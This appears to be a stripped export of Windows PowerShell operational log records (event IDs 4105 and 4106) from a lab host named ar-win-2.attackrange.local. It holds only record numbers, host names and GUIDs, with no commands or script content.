410515102150x0670966Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670965Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670964Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670963Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670962Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670961Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670960Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670959Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670958Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670957Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670956Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670955Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670954Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670953Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670952Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670951Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670950Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670949Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670948Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670947Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670946Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670945Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670944Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670943Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670942Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670941Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670940Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670939Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670938Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670937Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670936Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670935Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670934Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670933Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670932Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670931Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670930Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670929Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670928Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670927Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670926Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670925Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670924Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670923Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670922Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670921Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670920Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670919Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670918Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670917Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670916Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670915Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670914Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670913Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670912Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670911Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670910Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670909Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670908Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670907Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670906Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670905Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670904Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670903Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670902Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670901Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670900Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670899Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670898Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670897Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670896Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670895Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670894Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670893Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670892Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670891Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670890Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670889Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670888Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670887Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670886Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670885Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670884Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670883Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670882Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670881Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670880Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670879Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670878Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670877Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670876Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670875Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670874Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670873Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670872Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670871Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670870Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670869Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670868Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670867Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670866Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670865Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670864Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670863Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670862Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670861Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670860Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670859Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670858Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670857Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670856Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670855Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670854Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670853Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670852Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670851Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670850Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670849Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670848Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670847Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670846Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670845Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670844Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670843Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670842Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670841Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670840Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670839Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670838Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670837Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670836Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670835Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670834Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670833Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670832Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670831Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670830Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670829Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670828Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670827Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670826Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670825Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670824Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670823Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670822Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670821Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670820Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670819Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670818Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670817Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670816Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670815Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670814Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670813Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670812Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670811Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670810Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670809Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670808Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670807Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670806Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0670805Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0670804Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 